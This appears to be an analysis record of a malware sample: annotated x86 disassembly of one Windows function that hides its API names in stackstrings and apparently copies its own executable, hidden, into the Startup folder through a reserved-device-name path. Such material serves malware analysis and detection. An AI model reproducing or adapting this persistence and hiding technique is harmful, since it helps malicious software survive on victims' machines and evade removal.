Function at 0x407c40
Capabilities:
Contain obfuscated stackstrings
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x41c
mov eax, dword [0x41607c]
xor eax, ebp
mov dword [ebp - 4], eax
mov ecx, dword [0x417ccc]
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push edi
mov ebx, 0x65
mov edx, ebx
lea eax, [ebp - 0x4c]
mov word [ebp - 0xd0], dx
xor edx, edx
push eax
push ecx
mov dword [ebp - 0xd4], 0x680053
mov dword [ebp - 0xce], 0x6c006c
mov dword [ebp - 0xca], 0x320033
mov dword [ebp - 0xc6], 0x64002e
mov dword [ebp - 0xc2], 0x6c006c
mov word [ebp - 0xbe], dx
mov dword [ebp - 0x4c], 0x4d746547
mov dword [ebp - 0x48], 0x6c75646f
mov dword [ebp - 0x44], 0x6c694665
mov dword [ebp - 0x40], 0x6d614e65
mov word [ebp - 0x3c], 0x5765
mov byte [ebp - 0x3a], dl
mov dword [ebp - 0x38], 0x69666544
mov dword [ebp - 0x34], 0x6f44656e
mov dword [ebp - 0x30], 0x76654473
mov dword [ebp - 0x2c], 0x57656369
mov byte [ebp - 0x28], dl
mov dword [ebp - 0x10], 0x65766f4d
mov dword [ebp - 0xc], 0x656c6946
mov dword [ebp - 8], 0x577845
mov dword [ebp - 0x60], 0x46746553
mov dword [ebp - 0x5c], 0x41656c69
mov dword [ebp - 0x58], 0x69727474
mov dword [ebp - 0x54], 0x65747562
mov word [ebp - 0x50], 0x5773
mov byte [ebp - 0x4e], dl
mov dword [ebp - 0x24], 0x61657243
mov dword [ebp - 0x20], 0x69446574
mov dword [ebp - 0x1c], 0x74636572
mov dword [ebp - 0x18], 0x5779726f
mov byte [ebp - 0x14], dl
mov dword [ebp - 0x78], 0x65474853
mov dword [ebp - 0x74], 0x65705374
mov dword [ebp - 0x70], 0x6c616963
mov dword [ebp - 0x6c], 0x646c6f46
mov dword [ebp - 0x68], 0x61507265
mov dword [ebp - 0x64], 0x576874
call esi
lea edx, [ebp - 0x38]
mov dword [ebp - 0x414], eax
mov eax, dword [0x417ccc]
push edx
push eax
call esi
mov edx, dword [0x417ccc]
lea ecx, [ebp - 0x10]
push ecx
push edx
mov dword [ebp - 0x418], eax
call esi
mov ecx, dword [0x417ccc]
mov dword [ebp - 0x41c], eax
lea eax, [ebp - 0x60]
push eax
push ecx
call esi
lea edx, [ebp - 0x24]
mov dword [ebp - 0x410], eax
mov eax, dword [0x417ccc]
push edx
push eax
call esi
lea ecx, [ebp - 0x78]
push ecx
lea edx, [ebp - 0xd4]
push edx
mov dword [ebp - 0x40c], eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call esi
push 0
push 7
lea ecx, [ebp - 0x200]
push ecx
push 0
call eax
push 0x200000
call fcn.0040b12f
mov esi, eax
lea eax, [ebp - 0x200]
push eax
lea ecx, [ebp - 0x80]
push ecx
push esi
mov dword [ebp - 0x80], 0x730025
mov dword [ebp - 0x7c], 0xf8f5
call dword [sym.imp.USER32.dll_wsprintfW]
push 0x200000
call fcn.0040b12f
add esp, 0x14
push 0x104
lea edx, [ebp - 0x408]
push edx
push 0
mov edi, eax
call dword [ebp - 0x414]
lea eax, [ebp - 0x408]
push 0x5c
push eax
call fcn.0040b708
mov ecx, 0x2e
mov word [ebp - 0xb0], cx
xor ecx, ecx
lea eax, [ebp - 0xbc]
push eax
mov edx, ebx
mov word [ebp - 0xa8], cx
lea ecx, [ebp - 0x200]
mov word [ebp - 0xae], dx
push ecx
lea edx, [ebp - 0xa4]
push edx
push edi
mov dword [ebp - 0xbc], 0x76006e
mov dword [ebp - 0xb8], 0x760073
mov dword [ebp - 0xb4], 0x630072
mov dword [ebp - 0xac], 0x650078
mov dword [ebp - 0xa4], 0x3f005c
mov dword [ebp - 0xa0], 0x5c003f
mov dword [ebp - 0x9c], 0x730025
mov dword [ebp - 0x98], 0x25005c
mov dword [ebp - 0x94], 0x73
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x18
push edi
lea edx, [ebp - 0x90]
push edx
push 1
mov dword [ebp - 0x90], 0x610063
mov dword [ebp - 0x8c], 0x6e006f
mov dword [ebp - 0x88], 0x7a0066
mov dword [ebp - 0x84], 0x32
call dword [ebp - 0x418]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x4c
lea eax, [ebp - 0x120]
push 0
push eax
mov dword [ebp - 0x138], 0x5c005c
mov dword [ebp - 0x134], 0x5c002e
mov dword [ebp - 0x130], 0x610063
mov dword [ebp - 0x12c], 0x6e006f
mov dword [ebp - 0x128], 0x7a0066
mov dword [ebp - 0x124], 0x32
call fcn.0040f530
add esp, 0xc
push 1
lea ecx, [ebp - 0x138]
push ecx
lea edx, [ebp - 0x408]
push edx
call dword [ebp - 0x41c]
push 2
lea eax, [ebp - 0x200]
push eax
call dword [ebp - 0x410]
push 0
push esi
call dword [ebp - 0x40c]
push esi
call fcn.0040b62c
push edi
call fcn.0040b62c
mov ecx, dword [ebp - 4]
add esp, 8
pop edi
pop esi
xor ecx, ebp
xor eax, eax
pop ebx
call fcn.0040b13a
mov esp, ebp
pop ebp
ret